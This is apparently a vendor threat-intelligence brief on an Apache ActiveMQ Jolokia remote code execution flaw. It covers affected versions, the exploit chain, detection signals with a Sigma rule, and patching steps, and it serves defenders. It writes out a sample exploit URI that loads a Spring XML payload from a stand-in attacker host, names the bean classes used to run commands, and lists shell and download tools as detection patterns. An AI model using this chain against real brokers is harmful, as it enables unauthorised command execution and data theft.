CVE-2026-34197: Apache ActiveMQ Jolokia RCE Threat Brief

RingSafe Threat Intelligence Briefing — 19 April 2026. Assessed: HIGH priority. Patch window closing.

TL;DR

A 13-year-old remote code execution flaw in Apache ActiveMQ (CVE-2026-34197, CVSS 8.8) was added to the CISA Known Exploited Vulnerabilities catalog on 16 April 2026. Fortinet FortiGuard Labs confirmed active exploitation peaking on 14 April. An attacker who can reach the Jolokia management endpoint — and supply either valid credentials or, on ActiveMQ 6.0.0–6.1.1, no credentials at all — can force the broker to load a remote Spring XML context and execute arbitrary OS commands as the broker service account. Federal agencies must patch by 6 May 2026. If you operate ActiveMQ in production anywhere — message bus, event backbone, microservices fabric — treat this as an active-incident-class patch, not a maintenance-window item.

Who is affected

Apache ActiveMQ Broker < 5.19.4
Apache ActiveMQ Broker 6.0.0 through < 6.2.3
Deployments that expose the Jolokia HTTP interface (default path /api/jolokia/*) beyond a trusted management network
Any deployment running default or weak credentials on the Jolokia realm (admin:admin remains the single most common exploitation precondition in field data)
Versions 6.0.0–6.1.1 are effectively unauthenticated due to CVE-2024-32114, which left Jolokia exposed without credentials

Fixed in 5.19.4 and 6.2.3. There is no configuration-only workaround that fully closes the vector — patching is the control.

Why this matters in the Indian enterprise context

ActiveMQ quietly underpins a large share of Indian mid-market stacks. BFSI integration layers, e-commerce order pipelines, logistics event buses, telco provisioning systems — the broker is often a decade-old install, patched rarely, and trusted implicitly by everything downstream. When that broker is compromised, the blast radius is not “a server.” It is every producer and consumer that authenticates to it and every message body that transits it. This includes payment instructions, PII, API keys propagated via envelope headers, and batch jobs that shell out to other systems.

Under the DPDP Act 2023, a breach that exposes personal data of Indian data principals triggers the 72-hour notification clock the moment discovery occurs. A compromised ActiveMQ that transited customer records is a reportable event regardless of whether you can prove exfiltration.

Technical breakdown — how the attack works

The vulnerability lives at the intersection of three design choices that, individually, look defensible and collectively produce RCE.

1. Jolokia’s default MBean policy is permissive

ActiveMQ ships with Jolokia, a JMX-over-HTTP bridge, enabled by default for the management console. Its default access policy allows exec operations against any MBean in the org.apache.activemq:* domain. That set includes BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String) — methods intended for legitimate runtime topology changes.

2. The VM transport accepts a brokerConfig parameter

When you call addConnector with a URI, ActiveMQ parses it. The VM transport (vm://) is special: it supports a brokerConfig query parameter that points at a Spring XML configuration file. The broker dutifully loads it through ResourceXmlApplicationContext.

3. Spring XML is a Turing-complete execution primitive

A Spring XML file can declare arbitrary beans. A bean of class java.lang.ProcessBuilder with a start init-method gives the attacker a process launch primitive. A bean of class org.springframework.beans.factory.config.MethodInvokingFactoryBean pointed at Runtime.getRuntime().exec(...) gives the same. The attacker serves this file over HTTP from their own infrastructure, invokes the Jolokia exec against BrokerService.addConnector with vm://localhost?brokerConfig=http://attacker.tld/payload.xml, and the broker executes as its service account.

Chained together, the request is a single HTTP POST to Jolokia. No serialization exploit. No memory corruption. No zero-day primitive. Just three “working as designed” features intersecting. Horizon3.ai researcher Naveen Sunkavally, who disclosed the bug, noted it had been sitting in the code path for 13 years — the reason it surfaced now is that AI-assisted static analysis is changing the economics of auditing large Java codebases.

Detection signals

If you are hunting retrospectively for the last 30 days, focus on these four artefacts. All are high-signal; two together is near-conclusive.

HTTP request-level

POSTs to /api/jolokia/ or /hawtio/jolokia/ containing "type":"EXEC" and an mbean value matching org.apache.activemq:type=Broker,*
Request bodies containing the strings addConnector, addNetworkConnector, or brokerConfig=
Jolokia requests carrying a URI argument that starts with vm:// and embeds an http:// or https:// URL

Process and filesystem

Child processes of the ActiveMQ JVM that are not java — shells (/bin/sh, cmd.exe), scripting runtimes (python, perl), or known living-off-the-land binaries (curl, wget, certutil, bitsadmin)
Unexpected outbound HTTP requests from the broker host immediately preceding child-process activity — this is the payload retrieval
New files written under the ActiveMQ install directory or /tmp in the minutes following a suspicious Jolokia POST

Sigma-style detection (illustrative)

title: ActiveMQ Jolokia addConnector RCE (CVE-2026-34197)
logsource:
  product: web
  service: access
detection:
  sel_method:
    cs-method: POST
  sel_uri:
    cs-uri-stem|contains: '/jolokia'
  sel_body:
    cs-body|contains|all:
      - 'EXEC'
      - 'addConnector'
      - 'brokerConfig'
  condition: sel_method and sel_uri and sel_body
level: high

Mitigation — in order of priority

Patch now. Upgrade to 5.19.4 or 6.2.3. If you are on 5.x and not ready for 5.19.4, at minimum apply the line-item fix to BrokerService.addConnector that rejects non-TCP transports when invoked via JMX. The vendor patch is small; most compatibility risk comes from the Jolokia version bump, not the broker.
Take Jolokia off the public internet today. If the management console is internet-reachable, firewall it to a jump host or admin VLAN. This is a control you should have had in place yesterday; treat this CVE as the forcing function.
Rotate credentials. Every credential in conf/jetty-realm.properties and every ActiveMQ broker account. Assume that if the broker was reachable with default creds, they were used.
Restrict Jolokia policy. Edit conf/jolokia-access.xml to deny exec on org.apache.activemq:*. Allowlist only the MBeans your operations tooling actually uses.
Hunt. Retro-search access logs for the detection signatures above across the last 90 days. Jolokia is typically logged to data/audit.log or the embedded Jetty access log — both are often under-monitored.
Rotate downstream secrets. Any credentials, API keys, or certificates the broker had access to — including mTLS identities for upstream producers — should be rotated on the assumption of compromise until you have forensic evidence otherwise.

Forward-looking risk

Three patterns in this CVE will repeat in 2026:

Old code, new attention. AI-assisted static analysis is surfacing bugs that sat dormant for a decade. Expect a steady drumbeat of pre-2015 CVEs in widely-deployed Java, PHP, and C++ infrastructure software over the next 18 months. Your “we’re fine because nobody found anything” argument has a shrinking half-life.
Management plane > data plane. The OpenWire protocol is not the hole here; the administrative API is. This is the pattern across recent Fortinet, Citrix, Ivanti, and ActiveMQ disclosures. Treat every management interface — Jolokia, JMX, iLO, IPMI, admin SNMP, vendor telemetry agents — as an untrusted attack surface, not a trusted convenience.
Spring XML as a gadget chain. Any library that can ingest a URL and hand it to ResourceXmlApplicationContext (or similar) is a latent RCE primitive. If your codebase does that anywhere — especially in config reloaders, plugin loaders, or admin tools — this is a week to audit it.

What RingSafe would do on an active engagement

If a client asked us to respond to this today, the 72-hour runbook would be: inventory every ActiveMQ instance (including forgotten staging/legacy brokers), take Jolokia off the internet immediately via WAF/firewall rule, patch production in a controlled window, hunt for indicators in the last 90 days of access logs, rotate broker and downstream secrets, and produce a forensic summary sufficient for DPDP breach-notification counsel to make a disclosure decision. If you are mid-incident with this CVE and don’t have that runbook, reach us.

Sources: Horizon3.ai disclosure by Naveen Sunkavally; Apache ActiveMQ security advisory; CISA KEV entry dated 16 April 2026; Fortinet FortiGuard Labs exploitation telemetry.

CVE-2026-34197 — Apache ActiveMQ Jolokia RCE: Threat Brief